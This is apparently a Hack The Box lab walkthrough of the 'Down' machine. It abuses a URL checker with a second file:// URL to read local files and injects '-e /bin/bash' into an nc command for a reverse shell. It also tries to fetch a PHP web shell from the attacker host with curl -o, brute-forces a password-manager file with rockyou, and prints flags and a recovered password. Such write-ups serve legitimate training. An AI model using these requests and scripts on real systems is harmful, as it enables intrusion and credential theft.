Overview

The machine starts by a website that checks if URLs are up or down, abusing the curl backend by bypassing the http/https regex filter with a secondary file:// URL to read local files, reading the PHP source reveals a hidden expertmode=tcp endpoint that builds an nc command using escapeshellcmd which doesn't escape dashes, allowing argument injection via -e /bin/bash to get a reverse shell as www-data, then finding a pswm password manager database in aleks home directory and brute-forcing its master password with rockyou using cryptocode to decrypt an ssh password for aleks, who has full sudo privileges to switch to root.

Enumeration

we're gonna start with nmap scan

and we got 2 open ports

  • SSH running OpenSSH 8.9pl
  • http without any virtual hosting

Lets take a look at the website ss_20260605_140750.png

and you can guess what it does, it takes a URL and and checks if the website is up or down when it comes to this kind of websites there is a lot of attacks we can try starting from file disclosure down the road to command injection but first thing i always do I start an http server and add my own IP to see if it leaks any type of technology

and as you can see we got a hit from the website

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/down]
└──╼ [★]$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.16.83] from (UNKNOWN) [10.129.234.87] 39882
GET / HTTP/1.1
Host: 10.10.16.83
User-Agent: curl/7.81.0
Accept: */*

this response already leaks more than you know, the idea of User-Agent: curl means that the website check happens using curl meaning that it takes the URL and executes a command on it so lets try to escape that command to inject our own command

we also can try for file:/// to read files out of the system but we get only http and https allowed so back to our initial plan lets intercept the request and play with that page ss_20260605_141422.png

File disclosure

tried escaping the input multiple ways to inject a command but it didn't work out so back to curl command which can accept multiple URL in a single command like this curl google.com localhost and it'll curl both so when i tried for file:/// it told me that it accepts only http and https but what if i gave it two URLs an http one and a file one

if we tried to do it from the website itself it won't work cause there is a script in the front-end that checks and asks to enter a URL so we'll do it from the repeater and as you can see we've got the passwd file ss_20260605_072731.png

we saw earlier that the website is written in PHP as the index page is index.php so I wanted to get this page source code

and there is multiple things we need to explain but first I'll map the website Based on the source code it has 2 modes

  1. Normal mode
  2. Expert mode

Attempt to abuse normal mode

Normal Mode accepts a URL as you can see then it does this if ( preg_match('|^https?://|',$url) ) which is why our file:/// technique worked what happens is it looks if the given URL matches the allowed regex which is a URL starts with http or https but it doesn't check if it has file:/// or not, all it cares about that it starts with http or https

the issue with this normal mode that it doesn't do any type of check on that URL rather than this http or https start so why did our command injection fail ?

  • cause it doesn't run curl using exec function directly which just runs the command but it uses escapeshellcmd which escapes these characters based on the documentation, but it doesn't escape spaces that's why also our file:/// technique worked

  • one other thing, this escapecmdshell function doesn't escape - means we can do argument in the URL, meaning we can serve a php shell on our attacker device and and download it to the target using the -o option for output with curl, which will drop the shell in the web root and we can get a cmd injection

  • also another way but it isn't applicable here, is dropping an SSH key and login

why wouldn't the SSH key trick work cause look at this ? when i get the file /proc/self/environ it returned this and the user runs the server is www-data which got /nologin and no home directory so we are going for the argument injection trick

plaintext
APACHE_RUN_DIR=/var/run/apache2
SYSTEMD_EXEC_PID=1108
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:25607
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=df05dca1e4ee4a3e815e288f45d8b4fb
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html

so what we need to do I will use a web php shell from laudanum and start a server on my attacker using this

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/down/www]
└──╼ [★]$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

then i will inject this but make sure to URL encode it first using Ctrl+u

bash
url=http://10.10.16.83/shell.php -o shell.php

after the request goes through you'll get this on your server logs

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/down/www]
└──╼ [★]$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.234.87 - - [05/Jun/2026 08:00:03] "GET /shell.php HTTP/1.1" 200 -

but one thing might prevent us from doing this, is if we don't have write access as www-data over the /var/www/data and i think this is the case here

ExpertMode abuse

Expert mode takes an IP and port and runs escapeshellcmd("/usr/bin/nc -vz $IP $PORT") but there is something i missed in the initial source code review

php
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");

it takes an IP and checks if it is an actual IP using FILTER_VALIDATE_IP which returns true if it is valid IP it also takes port then it converts the $port to integer using intval which grabs an integer out of string so if i give it 10text it'll return 10 and it stores it in $port_int then it validates that this $port_int is actual integer using FILTER_VALIDATE_INT which returns true if it is valid integer but the issue is at the command itself it extract the integer out of port to use it for the check but when it runs the command it doesn't use the $port_int but it uses the original string instead so no matter what you type in that port will pass the check and get to the execution part even if it isn't an integer

Shell as www-data

and as you can see with expertmode=tcp we get a different page ss_20260605_081709.png

when i enter my IP address and port 4444 while I am listening I get this so we can we abuse this with the -e option ?

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/down]
└──╼ [★]$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.83] from (UNKNOWN) [10.129.234.87] 37666

so i sent this request when I am listening on 4444

http
POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.129.234.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:151.0) Gecko/20100101 Firefox/151.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://10.129.234.87
Connection: close
Referer: http://10.129.234.87/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=10.10.16.83&port=4444+-e+/bin/bash

and as you can see we got a shell back

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/down]
└──╼ [★]$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.83] from (UNKNOWN) [10.129.234.87] 42402

whoami
www-data

we got the user flag

plaintext
www-data@down:/home/aleks$ cd /var/www/html/
www-data@down:/var/www/html$ ls
index.php  logo.png  style.css  user_aeT1xa.txt
www-data@down:/var/www/html$ cat user_aeT1xa.txt 
d4bc94b386ef7c8113698a8c4951cacd

and because we got access to the user's aleks home directory i started looking into his files and i found this pswm which might be an abbreviation for password manager so lets read those files

bash
www-data@down:/opt$ find / -user aleks 2>/dev/null
/home/aleks
/home/aleks/.lesshst
/home/aleks/.bashrc
/home/aleks/.sudo_as_admin_successful
/home/aleks/.local
/home/aleks/.local/share
/home/aleks/.local/share/pswm
/home/aleks/.local/share/pswm/pswm
/home/aleks/.cache
/home/aleks/.ssh
/home/aleks/.profile
/home/aleks/.bash_logout

and I've got this file and I don't know what's in it for now, but the folder name is pswm and usually the folders in the share directory created by a software so maybe if we search this we can find out what it is

plaintext
www-data@down:/home/aleks/.local/share/pswm$ cat pswm 
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==www-data@down:/home/aleks/.local/share/pswm$ 

after searching, found out this pswm is a command line tool to store passwords and it uses cryptocode to encrypt its password so now we can bruteforce its master password lets create a script for this

this is the script where we open the wordlist and try to decrypt with it if it worked we print the master password which is the word in this script and print the decrypted text which is worked the decrypted text is what we're looking for

python
import os
import sys
import cryptocode

text = ""
with open("./aleks.pswm") as encrypted:
    text = encrypted.readline()
    print(text)

with open("/usr/share/wordlists/rockyou.txt", "r", errors="ignore") as wordlist:
    words = wordlist.readlines()
    for word in words:
        worked = cryptocode.decrypt(text, word.strip())
        if worked:
            print(word)
            print(worked)
            sys.exit(0)

and i used errors="ignore" just to ignore any encoding issue, if you care about best practice you check decoding will work here and specify it

so when i ran it i got this the master password is flower, and the decrypted password looks like ssh password for the user aleks so lest login with it

plaintext
(.venv) ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/down]
└──╼ [★]$ python3 brute.py 
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

flower

pswm    aleks   flower
aleks@down      aleks   1uY3w22uc-Wr{xNHR~+E

Shell as aleks

and the user aleks can run any command on the system using sudo

Shell as root

so lets switch user to root

shell
aleks@down:~$ sudo su 
root@down:/home/aleks# cat /root/root.txt
87bb9869a311b8abb5fb4d3c7248fdcb
root@down:/home/aleks#

and the machine is rooted

Beyond root

I wanted to look at the /var/www/html directory to see if we didn't have write access over it

shell
aleks@down:/var/www/html$ ls -la
total 332
drwxr-xr-x 2 root root 4096 Apr 8 2025 .
drwxr-xr-x 3 root root 4096 Sep 6 2024 ..
-rw-r--r-- 1 root root 3041 Sep 6 2024 index.php
-rw-r--r-- 1 root root 316218 Sep 6 2024 logo.png
-rw-r--r-- 1 root root 1794 Sep 6 2024 style.css
-r--r--rw- 1 root root 33 Apr 8 2025 user_aeT1xa.txt

and yes it is owned by root and that's why the argument injection didn't work

one more thing, there is a function called escapeshellarg to escape the argument itself before you check it rather than just checking on the entire command using escapeshellcmd which is safer in general just in case you are wondering or you even came across it in the future

Resources